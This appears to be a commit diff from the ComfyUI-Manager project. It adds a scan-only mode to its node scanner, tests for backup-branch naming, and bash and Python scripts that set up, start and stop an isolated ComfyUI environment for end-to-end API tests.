metadata['title_aux'] = title
# Conditionally add metadata based on mode
if not scan_only_mode:
# Standard mode: include all metadata
metadata['title_aux'] = title
if preemptions is not None:
metadata['preemptions'] = preemptions
if preemptions is not None:
metadata['preemptions'] = preemptions
if node_pattern is not None:
metadata['nodename_pattern'] = node_pattern
if node_pattern is not None:
metadata['nodename_pattern'] = node_pattern
# Scan-only mode: metadata remains empty
data[git_url] = (nodes, metadata)
else:
print(f"WARN: {dirname} is removed from custom-node-list.json")
# Scan-only mode: Repository not in node_info (expected behavior)
# Construct URL from dirname (author_repo format)
if '_' in dirname:
parts = dirname.split('_', 1)
git_url = f"https://github.com/{parts[0]}/{parts[1]}"
data[git_url] = (nodes, metadata)
else:
print(f"WARN: {dirname} is removed from custom-node-list.json")
for file in node_files:
nodes, metadata = scan_in_file(file)
@@ -459,13 +695,16 @@ def gen_json(node_info):
if file in node_info:
url, title, preemptions, node_pattern = node_info[file]
metadata['title_aux'] = title
if preemptions is not None:
metadata['preemptions'] = preemptions
if node_pattern is not None:
metadata['nodename_pattern'] = node_pattern
# Conditionally add metadata based on mode
if not scan_only_mode:
metadata['title_aux'] = title
if preemptions is not None:
metadata['preemptions'] = preemptions
if node_pattern is not None:
metadata['nodename_pattern'] = node_pattern
data[url] = (nodes, metadata)
else:
@@ -477,6 +716,10 @@ def gen_json(node_info):
for extension in extensions:
node_list_json_path = os.path.join(temp_dir, extension, 'node_list.json')
if os.path.exists(node_list_json_path):
# Skip if extension not in node_info (scan-only mode with limited URLs)
if extension not in node_info:
continue
git_url, title, preemptions, node_pattern = node_info[extension]
with open(node_list_json_path, 'r', encoding='utf-8') as f:
@@ -506,14 +749,16 @@ def gen_json(node_info):
print("------------------------------------------------------")
node_list_json = {}
metadata_in_url['title_aux'] = title
# Conditionally add metadata based on mode
if not scan_only_mode:
metadata_in_url['title_aux'] = title
if preemptions is not None:
metadata['preemptions'] = preemptions
if preemptions is not None:
metadata_in_url['preemptions'] = preemptions
if node_pattern is not None:
metadata_in_url['nodename_pattern'] = node_pattern
if node_pattern is not None:
metadata_in_url['nodename_pattern'] = node_pattern
nodes = list(nodes)
nodes.sort()
data[git_url] = (nodes, metadata_in_url)
@@ -523,12 +768,53 @@ def gen_json(node_info):
json.dump(data, file, indent=4, sort_keys=True)
print("### ComfyUI Manager Node Scanner ###")
if __name__ == "__main__":
# Parse arguments
args = parse_arguments()
print("\n# Updating extensions\n")
updated_node_info = update_custom_nodes()
# Determine mode
scan_only_mode = args.scan_only is not None
url_list_file = args.scan_only if scan_only_mode else None
print("\n# 'extension-node-map.json' file is generated.\n")
gen_json(updated_node_info)
# Determine temp_dir
if args.temp_dir:
temp_dir = args.temp_dir
elif args.temp_dir_positional:
temp_dir = args.temp_dir_positional
else:
temp_dir = os.path.join(os.getcwd(), ".tmp")
print("\nDONE.\n")
if not os.path.exists(temp_dir):
os.makedirs(temp_dir)
# Determine skip flags
skip_update = args.skip_update or args.skip_all
skip_stat_update = args.skip_stat_update or args.skip_all or scan_only_mode
if not skip_stat_update:
auth = Auth.Token(os.environ.get('GITHUB_TOKEN'))
g = Github(auth=auth)
else:
g = None
print("### ComfyUI Manager Node Scanner ###")
if scan_only_mode:
print(f"\n# [Scan-Only Mode] Processing URL list: {url_list_file}\n")
else:
print("\n# [Standard Mode] Updating extensions\n")
# Update/clone repositories and collect node info
updated_node_info = update_custom_nodes(scan_only_mode, url_list_file)
print("\n# Generating 'extension-node-map.json'...\n")
# Generate extension-node-map.json
gen_json(updated_node_info, scan_only_mode)
print("\n✅ DONE.\n")
if scan_only_mode:
print("Output: extension-node-map.json (node mappings only)")
else:
print("Output: extension-node-map.json (full metadata)")
+173
View File
@@ -0,0 +1,173 @@
"""Minimal tests for git_helper standalone execution and get_backup_branch_name.
git_helper.py runs as a subprocess on Windows and must NOT import comfyui_manager.
Tests validate: (1) no forbidden imports via AST, (2) subprocess-level standalone
execution, (3) get_backup_branch_name behavioural correctness.
"""
import ast
import pathlib
import subprocess
import sys
import textwrap
import pytest
_GIT_HELPER_PATH = pathlib.Path(__file__).resolve().parents[2] / "comfyui_manager" / "common" / "git_helper.py"
# ---------------------------------------------------------------------------
# 1. No comfyui_manager imports (AST check — no execution)
# ---------------------------------------------------------------------------
def test_no_comfyui_manager_import():
"""git_helper.py must be free of comfyui_manager imports (Windows subprocess safety)."""
tree = ast.parse(_GIT_HELPER_PATH.read_text(encoding="utf-8"))
for node in ast.walk(tree):
if isinstance(node, ast.ImportFrom) and node.module and "comfyui_manager" in node.module:
pytest.fail(f"Forbidden import at line {node.lineno}: from {node.module}")
# ---------------------------------------------------------------------------
# 2. Standalone subprocess execution (mirrors the actual Windows bug scenario)
# ---------------------------------------------------------------------------
def test_standalone_subprocess_can_load(tmp_path):
"""git_helper.py must load in a subprocess without comfyui_manager on sys.path."""
(tmp_path / "folder_paths.py").touch()
# Run git_helper.py in a clean subprocess with stripped sys.path.
# git_helper.py has a module-level sys.argv dispatcher that calls sys.exit,
# so we set argv to --check with a dummy path to avoid IndexError, then
# catch the SystemExit to verify the function loaded successfully.
script = textwrap.dedent(f"""\
import sys, os
sys.path = [p for p in sys.path
if "comfyui_manager" not in p and "comfyui-manager" not in p]
os.environ["COMFYUI_PATH"] = {str(tmp_path)!r}
import importlib.util
spec = importlib.util.spec_from_file_location("git_helper", {str(_GIT_HELPER_PATH)!r})
mod = importlib.util.module_from_spec(spec)
# Intercept sys.exit from module-level argv dispatcher
real_exit = sys.exit
exit_code = [None]
def fake_exit(code=0):
exit_code[0] = code
raise SystemExit(code)
sys.exit = fake_exit
try:
spec.loader.exec_module(mod)
except SystemExit:
pass
finally:
sys.exit = real_exit
# The function must be defined regardless of argv dispatcher outcome
assert hasattr(mod, "get_backup_branch_name"), "Function not defined"
name = mod.get_backup_branch_name()
assert name.startswith("backup_"), f"Bad name: {{name}}"
print(f"OK: {{name}}")
""")
result = subprocess.run(
[sys.executable, "-c", script],
capture_output=True, text=True, timeout=30,
)
assert result.returncode == 0, f"stderr: {result.stderr}"
assert "OK: backup_" in result.stdout
# ---------------------------------------------------------------------------
# 3. get_backup_branch_name behavioural tests (function extracted via AST)
# ---------------------------------------------------------------------------
@pytest.fixture(scope="module")
def _get_backup_branch_name():
"""Extract and compile get_backup_branch_name from git_helper.py source."""
source = _GIT_HELPER_PATH.read_text(encoding="utf-8")
tree = ast.parse(source)
for node in ast.walk(tree):
if isinstance(node, ast.FunctionDef) and node.name == "get_backup_branch_name":
func_source = ast.get_source_segment(source, node)
assert func_source is not None
ns = {}
exec(compile(ast.parse(func_source), "<test>", "exec"), ns) # noqa: S102
return ns["get_backup_branch_name"]
pytest.fail("get_backup_branch_name not found in git_helper.py")
class _FakeHead:
def __init__(self, name):
self.name = name
class _FakeRepo:
def __init__(self, branch_names):
self.heads = [_FakeHead(n) for n in branch_names]
def test_basic_name_format(_get_backup_branch_name):
import time
name = _get_backup_branch_name()
assert name.startswith("backup_")
expected = f"backup_{time.strftime('%Y%m%d_%H%M%S')}"
assert name == expected
def test_no_collision(_get_backup_branch_name):
repo = _FakeRepo(["main", "dev"])
name = _get_backup_branch_name(repo)
assert name.startswith("backup_")
def test_single_collision(_get_backup_branch_name):
import time
ts = time.strftime("%Y%m%d_%H%M%S")
repo = _FakeRepo(["main", f"backup_{ts}"])
name = _get_backup_branch_name(repo)
assert name == f"backup_{ts}_1"
def test_multi_collision(_get_backup_branch_name):
import time
ts = time.strftime("%Y%m%d_%H%M%S")
repo = _FakeRepo([f"backup_{ts}", f"backup_{ts}_1", f"backup_{ts}_2"])
name = _get_backup_branch_name(repo)
assert name == f"backup_{ts}_3"
def test_repo_none_returns_base(_get_backup_branch_name):
name = _get_backup_branch_name(None)
assert name.startswith("backup_")
def test_repo_heads_exception_returns_base(_get_backup_branch_name):
"""When repo.heads raises, fall back to base name without suffix."""
class _BrokenRepo:
@property
def heads(self):
raise RuntimeError("simulated git error")
name = _get_backup_branch_name(_BrokenRepo())
assert name.startswith("backup_")
assert "_1" not in name # no suffix — exception path returns base
def test_uuid_fallback_on_full_collision(_get_backup_branch_name):
"""When all 99 suffixes are taken, fall back to UUID."""
import time
ts = time.strftime("%Y%m%d_%H%M%S")
# All names from backup_TS through backup_TS_99 are taken
taken = [f"backup_{ts}"] + [f"backup_{ts}_{i}" for i in range(1, 100)]
repo = _FakeRepo(taken)
name = _get_backup_branch_name(repo)
assert name.startswith(f"backup_{ts}_")
# UUID suffix is 6 hex chars
suffix = name[len(f"backup_{ts}_"):]
assert len(suffix) == 6, f"Expected 6-char UUID suffix, got: {suffix}"
+211
View File
@@ -0,0 +1,211 @@
"""Cross-platform E2E environment setup for ComfyUI + Manager.
Creates an isolated ComfyUI installation with ComfyUI-Manager for E2E testing.
Idempotent: skips setup if marker file and key artifacts already exist.
Input env vars:
E2E_ROOT target directory (required)
MANAGER_ROOT manager repo root (default: auto-detected)
COMFYUI_BRANCH ComfyUI branch to clone (default: master)
Output (last line of stdout):
E2E_ROOT=/path/to/environment
Usage:
python tests/e2e/scripts/setup_e2e_env.py
"""
from __future__ import annotations
import os
import subprocess
import sys
from pathlib import Path
COMFYUI_REPO = "https://github.com/comfyanonymous/ComfyUI.git"
PYTORCH_CPU_INDEX = "https://download.pytorch.org/whl/cpu"
CONFIG_INI_CONTENT = """\
[default]
use_uv = true
use_unified_resolver = true
file_logging = false
"""
def log(msg: str) -> None:
print(f"[setup_e2e] {msg}", flush=True)
def die(msg: str) -> None:
print(f"[setup_e2e] ERROR: {msg}", file=sys.stderr)
sys.exit(1)
def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
log(f" $ {' '.join(cmd)}")
return subprocess.run(cmd, check=True, **kwargs)
def detect_manager_root() -> Path:
"""Walk up from this script to find pyproject.toml."""
d = Path(__file__).resolve().parent
while d != d.parent:
if (d / "pyproject.toml").exists():
return d
d = d.parent
die("Cannot detect MANAGER_ROOT (no pyproject.toml found)")
raise SystemExit(1) # unreachable, for type checker
def venv_python(root: Path) -> str:
if sys.platform == "win32":
return str(root / "venv" / "Scripts" / "python.exe")
return str(root / "venv" / "bin" / "python")
def venv_bin(root: Path, name: str) -> str:
if sys.platform == "win32":
return str(root / "venv" / "Scripts" / f"{name}.exe")
return str(root / "venv" / "bin" / name)
def is_already_setup(root: Path, manager_root: Path) -> bool:
marker = root / ".e2e_setup_complete"
comfyui = root / "comfyui"
venv = root / "venv"
config = root / "comfyui" / "user" / "__manager" / "config.ini"
manager_link = root / "comfyui" / "custom_nodes" / "ComfyUI-Manager"
return (
marker.exists()
and comfyui.is_dir()
and venv.is_dir()
and config.exists()
and (manager_link.exists() or manager_link.is_symlink())
)
def link_manager(custom_nodes: Path, manager_root: Path) -> None:
"""Create symlink or junction to manager source."""
link = custom_nodes / "ComfyUI-Manager"
if link.exists() or link.is_symlink():
if link.is_symlink():
link.unlink()
elif link.is_dir():
import shutil
shutil.rmtree(link)
if sys.platform == "win32":
# Windows: use directory junction (no admin privileges needed)
subprocess.run(
["cmd", "/c", "mklink", "/J", str(link), str(manager_root)],
check=True,
)
else:
link.symlink_to(manager_root)
def main() -> None:
manager_root = Path(os.environ.get("MANAGER_ROOT", "")) or detect_manager_root()
manager_root = manager_root.resolve()
log(f"MANAGER_ROOT={manager_root}")
e2e_root_str = os.environ.get("E2E_ROOT", "")
if not e2e_root_str:
die("E2E_ROOT environment variable is required")
root = Path(e2e_root_str).resolve()
root.mkdir(parents=True, exist_ok=True)
log(f"E2E_ROOT={root}")
branch = os.environ.get("COMFYUI_BRANCH", "master")
# Idempotency
if is_already_setup(root, manager_root):
log("Environment already set up (marker file exists). Skipping.")
print(f"E2E_ROOT={root}")
return
# Step 1: Clone ComfyUI
comfyui_dir = root / "comfyui"
if (comfyui_dir / ".git").is_dir():
log("Step 1/7: ComfyUI already cloned, skipping")
else:
log(f"Step 1/7: Cloning ComfyUI (branch={branch})...")
run(["git", "clone", "--depth=1", "--branch", branch, COMFYUI_REPO, str(comfyui_dir)])
# Step 2: Create venv
venv_dir = root / "venv"
if venv_dir.is_dir():
log("Step 2/7: venv already exists, skipping")
else:
log("Step 2/7: Creating virtual environment...")
run(["uv", "venv", str(venv_dir)])
py = venv_python(root)
# Step 3: Install ComfyUI dependencies (CPU-only)
log("Step 3/7: Installing ComfyUI dependencies (CPU-only)...")
run([
"uv", "pip", "install",
"--python", py,
"-r", str(comfyui_dir / "requirements.txt"),
"--extra-index-url", PYTORCH_CPU_INDEX,
])
# Step 3.5: Ensure pip is available in the venv (Manager needs it for per-pack installs)
log("Step 3.5: Ensuring pip is available...")
run(["uv", "pip", "install", "--python", py, "pip"])
# Step 4: Install Manager
log("Step 4/7: Installing ComfyUI-Manager...")
run(["uv", "pip", "install", "--python", py, str(manager_root)])
# Step 5: Link manager into custom_nodes
log("Step 5/7: Linking Manager into custom_nodes...")
custom_nodes = comfyui_dir / "custom_nodes"
custom_nodes.mkdir(parents=True, exist_ok=True)
link_manager(custom_nodes, manager_root)
# Step 6: Write config.ini
log("Step 6/7: Writing config.ini...")
config_dir = comfyui_dir / "user" / "__manager"
config_dir.mkdir(parents=True, exist_ok=True)
(config_dir / "config.ini").write_text(CONFIG_INI_CONTENT)
# Step 7: Verify
log("Step 7/7: Verifying setup...")
errors = 0
if not (comfyui_dir / "main.py").exists():
log(" FAIL: comfyui/main.py not found")
errors += 1
if not os.path.isfile(py):
log(f" FAIL: venv python not found at {py}")
errors += 1
link = custom_nodes / "ComfyUI-Manager"
if not link.exists():
log(f" FAIL: Manager link not found at {link}")
errors += 1
# Check cm-cli is installed
cm_cli = venv_bin(root, "cm-cli")
if not os.path.isfile(cm_cli):
log(f" FAIL: cm-cli not found at {cm_cli}")
errors += 1
if errors:
die(f"Verification failed with {errors} error(s)")
log("Verification OK")
# Write marker
from datetime import datetime
(root / ".e2e_setup_complete").write_text(datetime.now().isoformat())
log("Setup complete.")
print(f"E2E_ROOT={root}")
if __name__ == "__main__":
main()
+241
View File
@@ -0,0 +1,241 @@
#!/usr/bin/env bash
# setup_e2e_env.sh — Automated E2E environment setup for ComfyUI + Manager
#
# Creates an isolated ComfyUI installation with ComfyUI-Manager for E2E testing.
# Idempotent: skips setup if marker file and key artifacts already exist.
#
# Input env vars:
# E2E_ROOT — target directory (default: auto-generated via mktemp)
# MANAGER_ROOT — manager repo root (default: auto-detected from script location)
# COMFYUI_BRANCH — ComfyUI branch to clone (default: master)
# PYTHON — Python executable (default: python3)
#
# Output (last line of stdout):
# E2E_ROOT=/path/to/environment
#
# Exit: 0=success, 1=failure
set -euo pipefail
# --- Constants ---
COMFYUI_REPO="https://github.com/comfyanonymous/ComfyUI.git"
PYTORCH_CPU_INDEX="https://download.pytorch.org/whl/cpu"
CONFIG_INI_CONTENT="[default]
use_uv = true
use_unified_resolver = true
file_logging = false"
# --- Logging helpers ---
log() { echo "[setup_e2e] $*"; }
err() { echo "[setup_e2e] ERROR: $*" >&2; }
die() { err "$@"; exit 1; }
# --- Detect manager root by walking up from script dir to find pyproject.toml ---
detect_manager_root() {
local dir
dir="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
while [[ "$dir" != "/" ]]; do
if [[ -f "$dir/pyproject.toml" ]]; then
echo "$dir"
return 0
fi
dir="$(dirname "$dir")"
done
return 1
}
# --- Validate prerequisites ---
validate_prerequisites() {
local py="${PYTHON:-python3}"
local missing=()
command -v git >/dev/null 2>&1 || missing+=("git")
command -v uv >/dev/null 2>&1 || missing+=("uv")
command -v "$py" >/dev/null 2>&1 || missing+=("$py")
if [[ ${#missing[@]} -gt 0 ]]; then
die "Missing prerequisites: ${missing[*]}"
fi
# Verify Python version >= 3.9
local py_version
py_version=$("$py" -c "import sys; print(f'{sys.version_info.major}.{sys.version_info.minor}')")
local major minor
major="${py_version%%.*}"
minor="${py_version##*.}"
if [[ "$major" -lt 3 ]] || { [[ "$major" -eq 3 ]] && [[ "$minor" -lt 9 ]]; }; then
die "Python 3.9+ required, found $py_version"
fi
log "Prerequisites OK (python=$py_version, git=$(git --version | awk '{print $3}'), uv=$(uv --version 2>&1 | awk '{print $2}'))"
}
# --- Check idempotency: skip if already set up ---
check_already_setup() {
local root="$1"
if [[ -f "$root/.e2e_setup_complete" ]] \
&& [[ -d "$root/comfyui" ]] \
&& [[ -d "$root/venv" ]] \
&& [[ -f "$root/comfyui/user/__manager/config.ini" ]] \
&& [[ -L "$root/comfyui/custom_nodes/ComfyUI-Manager" ]]; then
log "Environment already set up at $root (marker file exists). Skipping."
echo "E2E_ROOT=$root"
exit 0
fi
}
# --- Verify the setup ---
verify_setup() {
local root="$1"
local manager_root="$2"
local venv_py="$root/venv/bin/python"
local errors=0
log "Running verification checks..."
# Check ComfyUI directory
if [[ ! -f "$root/comfyui/main.py" ]]; then
err "Verification FAIL: comfyui/main.py not found"
((errors++))
fi
# Check venv python
if [[ ! -x "$venv_py" ]]; then
err "Verification FAIL: venv python not executable"
((errors++))
fi
# Check symlink
local link_target="$root/comfyui/custom_nodes/ComfyUI-Manager"
if [[ ! -L "$link_target" ]]; then
err "Verification FAIL: symlink $link_target does not exist"
((errors++))
elif [[ "$(readlink -f "$link_target")" != "$(readlink -f "$manager_root")" ]]; then
err "Verification FAIL: symlink target mismatch"
((errors++))
fi
# Check config.ini
if [[ ! -f "$root/comfyui/user/__manager/config.ini" ]]; then
err "Verification FAIL: config.ini not found"
((errors++))
fi
# Check Python imports
# comfy is a local package inside ComfyUI (not pip-installed), and
# comfyui_manager.__init__ imports from comfy — both need PYTHONPATH
if ! PYTHONPATH="$root/comfyui" "$venv_py" -c "import comfy" 2>/dev/null; then
err "Verification FAIL: 'import comfy' failed"
((errors++))
fi
if ! PYTHONPATH="$root/comfyui" "$venv_py" -c "import comfyui_manager" 2>/dev/null; then
err "Verification FAIL: 'import comfyui_manager' failed"
((errors++))
fi
if [[ "$errors" -gt 0 ]]; then
die "Verification failed with $errors error(s)"
fi
log "Verification OK: all checks passed"
}
# ===== Main =====
# Resolve MANAGER_ROOT
if [[ -z "${MANAGER_ROOT:-}" ]]; then
MANAGER_ROOT="$(detect_manager_root)" || die "Cannot detect MANAGER_ROOT. Set it explicitly."
fi
MANAGER_ROOT="$(cd "$MANAGER_ROOT" && pwd)"
log "MANAGER_ROOT=$MANAGER_ROOT"
# Validate prerequisites
validate_prerequisites
PYTHON="${PYTHON:-python3}"
COMFYUI_BRANCH="${COMFYUI_BRANCH:-master}"
# Create or use E2E_ROOT
CREATED_BY_US=false
if [[ -z "${E2E_ROOT:-}" ]]; then
E2E_ROOT="$(mktemp -d -t e2e_comfyui_XXXXXX)"
CREATED_BY_US=true
log "Created E2E_ROOT=$E2E_ROOT"
else
mkdir -p "$E2E_ROOT"
log "Using E2E_ROOT=$E2E_ROOT"
fi
# Idempotency check
check_already_setup "$E2E_ROOT"
# Cleanup trap: remove E2E_ROOT on failure only if we created it
cleanup_on_failure() {
local exit_code=$?
if [[ "$exit_code" -ne 0 ]] && [[ "$CREATED_BY_US" == "true" ]]; then
err "Setup failed. Cleaning up $E2E_ROOT"
rm -rf "$E2E_ROOT"
fi
}
trap cleanup_on_failure EXIT
# Step 1: Clone ComfyUI
log "Step 1/8: Cloning ComfyUI (branch=$COMFYUI_BRANCH)..."
if [[ -d "$E2E_ROOT/comfyui/.git" ]]; then
log " ComfyUI already cloned, skipping"
else
git clone --depth=1 --branch "$COMFYUI_BRANCH" "$COMFYUI_REPO" "$E2E_ROOT/comfyui"
fi
# Step 2: Create virtual environment
log "Step 2/8: Creating virtual environment..."
if [[ -d "$E2E_ROOT/venv" ]]; then
log " venv already exists, skipping"
else
uv venv "$E2E_ROOT/venv"
fi
VENV_PY="$E2E_ROOT/venv/bin/python"
# Step 3: Install ComfyUI dependencies
log "Step 3/8: Installing ComfyUI dependencies (CPU-only)..."
uv pip install \
--python "$VENV_PY" \
-r "$E2E_ROOT/comfyui/requirements.txt" \
--extra-index-url "$PYTORCH_CPU_INDEX"
# Step 4: Install ComfyUI-Manager (non-editable, production-like)
log "Step 4/8: Installing ComfyUI-Manager..."
uv pip install --python "$VENV_PY" "$MANAGER_ROOT"
# Step 5: Create symlink for custom_nodes discovery
log "Step 5/8: Creating custom_nodes symlink..."
mkdir -p "$E2E_ROOT/comfyui/custom_nodes"
local_link="$E2E_ROOT/comfyui/custom_nodes/ComfyUI-Manager"
if [[ -L "$local_link" ]]; then
log " Symlink already exists, updating"
rm -f "$local_link"
fi
ln -s "$MANAGER_ROOT" "$local_link"
# Step 6: Write config.ini to correct path
log "Step 6/8: Writing config.ini..."
mkdir -p "$E2E_ROOT/comfyui/user/__manager"
echo "$CONFIG_INI_CONTENT" > "$E2E_ROOT/comfyui/user/__manager/config.ini"
# Step 7: Create HOME isolation directories
log "Step 7/8: Creating HOME isolation directories..."
mkdir -p "$E2E_ROOT/home/.config"
mkdir -p "$E2E_ROOT/home/.local/share"
mkdir -p "$E2E_ROOT/logs"
# Step 8: Verify setup
log "Step 8/8: Verifying setup..."
verify_setup "$E2E_ROOT" "$MANAGER_ROOT"
# Write marker file
date -Iseconds > "$E2E_ROOT/.e2e_setup_complete"
# Clear the EXIT trap since setup succeeded
trap - EXIT
log "Setup complete."
echo "E2E_ROOT=$E2E_ROOT"
+129
View File
@@ -0,0 +1,129 @@
#!/usr/bin/env bash
# start_comfyui.sh — Foreground-blocking ComfyUI launcher for E2E tests
#
# Starts ComfyUI in the background, then blocks the foreground until the server
# is ready (or timeout). This makes it safe to call from subprocess.run() or
# Claude's Bash tool — the call returns only when ComfyUI is accepting requests.
#
# Input env vars:
# E2E_ROOT — (required) path to E2E environment from setup_e2e_env.sh
# PORT — ComfyUI listen port (default: 8199)
# TIMEOUT — max seconds to wait for readiness (default: 120)
#
# Output (last line on success):
# COMFYUI_PID=<pid> PORT=<port>
#
# Exit: 0=ready, 1=timeout/failure
set -euo pipefail
# --- Defaults ---
PORT="${PORT:-8199}"
TIMEOUT="${TIMEOUT:-120}"
# --- Logging helpers ---
log() { echo "[start_comfyui] $*"; }
err() { echo "[start_comfyui] ERROR: $*" >&2; }
die() { err "$@"; exit 1; }
# --- Validate environment ---
[[ -n "${E2E_ROOT:-}" ]] || die "E2E_ROOT is not set"
[[ -d "$E2E_ROOT/comfyui" ]] || die "ComfyUI not found at $E2E_ROOT/comfyui"
[[ -x "$E2E_ROOT/venv/bin/python" ]] || die "venv python not found at $E2E_ROOT/venv/bin/python"
[[ -f "$E2E_ROOT/.e2e_setup_complete" ]] || die "Setup marker not found. Run setup_e2e_env.sh first."
PY="$E2E_ROOT/venv/bin/python"
COMFY_DIR="$E2E_ROOT/comfyui"
LOG_DIR="$E2E_ROOT/logs"
LOG_FILE="$LOG_DIR/comfyui.log"
PID_FILE="$LOG_DIR/comfyui.pid"
mkdir -p "$LOG_DIR"
# --- Check/clear port ---
if ss -tlnp 2>/dev/null | grep -q ":${PORT}\b"; then
log "Port $PORT is in use. Attempting to stop existing process..."
# Try to read existing PID file
if [[ -f "$PID_FILE" ]]; then
OLD_PID="$(cat "$PID_FILE")"
if kill -0 "$OLD_PID" 2>/dev/null; then
kill "$OLD_PID" 2>/dev/null || true
sleep 2
fi
fi
# Fallback: kill by port pattern
if ss -tlnp 2>/dev/null | grep -q ":${PORT}\b"; then
pkill -f "main\\.py.*--port $PORT" 2>/dev/null || true
sleep 2
fi
# Final check
if ss -tlnp 2>/dev/null | grep -q ":${PORT}\b"; then
die "Port $PORT is still in use after cleanup attempt"
fi
log "Port $PORT cleared."
fi
# --- Start ComfyUI ---
log "Starting ComfyUI on port $PORT..."
# Create empty log file (ensures tail -f works from the start)
: > "$LOG_FILE"
# Launch with unbuffered Python output so log lines appear immediately
PYTHONUNBUFFERED=1 \
HOME="$E2E_ROOT/home" \
nohup "$PY" "$COMFY_DIR/main.py" \
--cpu \
--enable-manager \
--port "$PORT" \
> "$LOG_FILE" 2>&1 &
COMFYUI_PID=$!
echo "$COMFYUI_PID" > "$PID_FILE"
log "ComfyUI PID=$COMFYUI_PID, log=$LOG_FILE"
# Verify process didn't crash immediately
sleep 1
if ! kill -0 "$COMFYUI_PID" 2>/dev/null; then
err "ComfyUI process died immediately. Last 30 lines of log:"
tail -n 30 "$LOG_FILE" >&2
rm -f "$PID_FILE"
exit 1
fi
# --- Block until ready ---
# tail -n +1 -f: read from file start AND follow new content (no race condition)
# grep -q -m1: exit on first match → tail gets SIGPIPE → pipeline ends
# timeout: kill the pipeline after TIMEOUT seconds
log "Waiting up to ${TIMEOUT}s for ComfyUI to become ready..."
if timeout "$TIMEOUT" bash -c \
"tail -n +1 -f '$LOG_FILE' 2>/dev/null | grep -q -m1 'To see the GUI'"; then
log "ComfyUI startup message detected."
else
err "Timeout (${TIMEOUT}s) waiting for ComfyUI. Last 30 lines of log:"
tail -n 30 "$LOG_FILE" >&2
kill "$COMFYUI_PID" 2>/dev/null || true
rm -f "$PID_FILE"
exit 1
fi
# Verify process is still alive after readiness detected
if ! kill -0 "$COMFYUI_PID" 2>/dev/null; then
err "ComfyUI process died after readiness signal. Last 30 lines:"
tail -n 30 "$LOG_FILE" >&2
rm -f "$PID_FILE"
exit 1
fi
# Optional HTTP health check
if command -v curl >/dev/null 2>&1; then
if curl -sf "http://127.0.0.1:${PORT}/system_stats" >/dev/null 2>&1; then
log "HTTP health check passed (/system_stats)"
else
log "HTTP health check skipped (endpoint not yet available, but startup message detected)"
fi
fi
log "ComfyUI is ready."
echo "COMFYUI_PID=$COMFYUI_PID PORT=$PORT"
+75
View File
@@ -0,0 +1,75 @@
#!/usr/bin/env bash
# stop_comfyui.sh — Graceful ComfyUI shutdown for E2E tests
#
# Stops a ComfyUI process previously started by start_comfyui.sh.
# Uses SIGTERM first, then SIGKILL after a grace period.
#
# Input env vars:
# E2E_ROOT — (required) path to E2E environment
# PORT — ComfyUI port for fallback pkill (default: 8199)
#
# Exit: 0=stopped, 1=failed
set -euo pipefail
PORT="${PORT:-8199}"
GRACE_PERIOD=10
# --- Logging helpers ---
log() { echo "[stop_comfyui] $*"; }
err() { echo "[stop_comfyui] ERROR: $*" >&2; }
die() { err "$@"; exit 1; }
# --- Validate ---
[[ -n "${E2E_ROOT:-}" ]] || die "E2E_ROOT is not set"
PID_FILE="$E2E_ROOT/logs/comfyui.pid"
# --- Read PID ---
COMFYUI_PID=""
if [[ -f "$PID_FILE" ]]; then
COMFYUI_PID="$(cat "$PID_FILE")"
log "Read PID=$COMFYUI_PID from $PID_FILE"
fi
# --- Graceful shutdown via SIGTERM ---
if [[ -n "$COMFYUI_PID" ]] && kill -0 "$COMFYUI_PID" 2>/dev/null; then
log "Sending SIGTERM to PID $COMFYUI_PID..."
kill "$COMFYUI_PID" 2>/dev/null || true
# Wait for graceful shutdown
elapsed=0
while kill -0 "$COMFYUI_PID" 2>/dev/null && [[ "$elapsed" -lt "$GRACE_PERIOD" ]]; do
sleep 1
elapsed=$((elapsed + 1))
done
# Force kill if still alive
if kill -0 "$COMFYUI_PID" 2>/dev/null; then
log "Process still alive after ${GRACE_PERIOD}s. Sending SIGKILL..."
kill -9 "$COMFYUI_PID" 2>/dev/null || true
sleep 1
fi
fi
# --- Fallback: kill by port pattern ---
if ss -tlnp 2>/dev/null | grep -q ":${PORT}\b"; then
log "Port $PORT still in use. Attempting pkill fallback..."
pkill -f "main\\.py.*--port $PORT" 2>/dev/null || true
sleep 2
if ss -tlnp 2>/dev/null | grep -q ":${PORT}\b"; then
pkill -9 -f "main\\.py.*--port $PORT" 2>/dev/null || true
sleep 1
fi
fi
# --- Cleanup PID file ---
rm -f "$PID_FILE"
# --- Verify port is free ---
if ss -tlnp 2>/dev/null | grep -q ":${PORT}\b"; then
die "Port $PORT is still in use after shutdown"
fi
log "ComfyUI stopped."
+306
View File
@@ -0,0 +1,306 @@
"""E2E tests for ComfyUI Manager HTTP API endpoints (install/uninstall).
Starts a real ComfyUI instance, exercises the task-queue-based install
and uninstall endpoints, then verifies the results via the installed-list
endpoint and filesystem checks.
Requires a pre-built E2E environment (from setup_e2e_env.sh).
Set E2E_ROOT env var to point at it, or the tests will be skipped.
Install test methodology follows the main comfyui-manager test suite
(tests/glob/test_queue_task_api.py):
- Uses a CNR-registered package with proper version-based install
- Verifies .tracking file for CNR installs
- Checks installed-list API with cnr_id matching
- Cleans up .disabled/ directory entries
Usage:
E2E_ROOT=/tmp/e2e_full_test pytest tests/e2e/test_e2e_endpoint.py -v
"""
from __future__ import annotations
import os
import shutil
import subprocess
import time
import pytest
import requests
E2E_ROOT = os.environ.get("E2E_ROOT", "")
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
CUSTOM_NODES = os.path.join(COMFYUI_PATH, "custom_nodes") if COMFYUI_PATH else ""
SCRIPTS_DIR = os.path.join(
os.path.dirname(os.path.abspath(__file__)), "scripts"
)
PORT = 8199
BASE_URL = f"http://127.0.0.1:{PORT}"
# CNR-registered package with multiple versions, no heavy dependencies.
# Same test package used by the main comfyui-manager test suite.
PACK_ID = "ComfyUI_SigmoidOffsetScheduler"
PACK_DIR_NAME = "ComfyUI_SigmoidOffsetScheduler"
PACK_CNR_ID = "comfyui_sigmoidoffsetscheduler"
PACK_VERSION = "1.0.1"
# Polling configuration for async task completion
POLL_TIMEOUT = 30 # max seconds to wait for an operation
POLL_INTERVAL = 0.5 # seconds between polls
pytestmark = pytest.mark.skipif(
not E2E_ROOT
or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
reason="E2E_ROOT not set or E2E environment not ready (run setup_e2e_env.sh first)",
)
# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
def _start_comfyui() -> int:
"""Start ComfyUI and return its PID."""
